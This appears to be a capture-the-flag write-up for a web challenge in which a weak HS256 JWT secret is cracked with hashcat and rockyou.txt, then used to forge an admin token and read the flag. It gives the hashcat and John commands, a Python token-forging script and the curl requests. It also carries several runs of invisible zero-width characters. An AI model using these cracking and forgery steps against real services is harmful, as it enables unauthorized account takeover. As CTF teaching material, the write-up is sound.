Лысина админа (Admin's Bald Head)

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: jwt_cracking, jwt_forgery, wordlist_attack

Summary

Task: Bypass server protection to become admin. Solution: Crack JWT HS256 secret key using hashcat with rockyou.txt wordlist, then forge admin token to access the flag endpoint.

Лысина админа (Admin's Bald Head) — duckerz CTF

Description

Как же обойти защиту сервера и стать лысым админом?

URL: http://tasks.duckerz.ru:30056

Analysis

Reconnaissance

When accessing the target URL, a Flask-based login form was discovered (Werkzeug/Python):

• Page title: "BoldLogin" — "Bold" sounds like "Bald" (лысый)
• Guest credentials found in HTML: guest:guest
• Hint discovered in JavaScript: "Ты Дуэйн Джонсон?" (Are you Dwayne Johnson?)

Authentication Analysis

Authentication via POST request to /login: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -X POST http://tasks.duckerz.ru:30056/login \
  -H "Content-Type: application/json" \
  -d '{"username":"guest","password":"guest"}' \
  -c cookies.txt

JWT token received in Set-Cookie response:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.KVcwu6cwfsOQXQooeH7-S0j__1NwteG-9jFZ63aApe0

JWT decoding:

• Header: {"alg":"HS256","typ":"JWT"}
• Payload: {"user":"guest"}

When attempting to access /flag with the guest token:

Only user 'admin' have access to this page!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Deciphering the Hints

The hints pointed to the rockyou.txt wordlist:

• "Дуэйн Джонсон" = Dwayne "The Rock" Johnson → rockyou.txt
• "Лысина" (bald) → brute force
• The name "BoldLogin" — wordplay on Bold/Bald

Solution

Step 1: Cracking the JWT Secret Key

Save the JWT token to a file:

 bash read-only • copy allowed Copy
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.KVcwu6cwfsOQXQooeH7-S0j__1NwteG-9jFZ63aApe0" > jwt.txt

Run hashcat to crack the secret (mode 16500 — JWT):

 bash read-only • copy allowed Copy
hashcat -m 16500 jwt.txt rockyou.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Discovered secret key: IC3QU33NS

Step 2: Generating Admin JWT

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import hmac
import hashlib
import base64
import json

# Cracked secret key
key = "IC3QU33NS"

# JWT structure
header = {"alg": "HS256", "typ": "JWT"}
payload = {"user": "admin"}  # Change guest to admin

# Encoding header and payload
def b64_encode(data):
    return base64.urlsafe_b64encode(
        json.dumps(data, separators=(',', ':')).encode()
    ).rstrip(b'=').decode()

header_b64 = b64_encode(header)
payload_b64 = b64_encode(payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Creating signature
message = f"{header_b64}.{payload_b64}"
signature = hmac.new(
    key.encode(), 
    message.encode(), 
    hashlib.sha256
).digest()
signature_b64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()

# Final JWT
admin_jwt = f"{header_b64}.{payload_b64}.{signature_b64}"
print(f"Admin JWT: {admin_jwt}")

Generated admin JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.LNX7-9BnyaN7IPywraX0ITay3FGAylN3loHkFuihMw8

Step 3: Obtaining the Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl http://tasks.duckerz.ru:30056/flag \
  -H "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.LNX7-9BnyaN7IPywraX0ITay3FGAylN3loHkFuihMw8"

Useful Commands

 bash read-only • copy allowed Copy
# Decoding JWT (without signature verification)
echo "JWT_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null

# Hashcat for JWT (mode 16500)
hashcat -m 16500 jwt.txt wordlist.txt

# John the Ripper alternative
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

Conclusions

• The flag confirms the intended solution: "H4$shc4t l0ve$ 2 e4t R0CKUtxt" = "Hashcat loves to eat rockyou.txt"
• The hints were clever wordplay: "Лысина" (bald) + "Дуэйн Джонсон" (The Rock) → rockyou.txt brute force
• Always check JWT for weak secret keys when JWT authentication is discovered
• HS256 is vulnerable to brute force when weak passwords are used ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍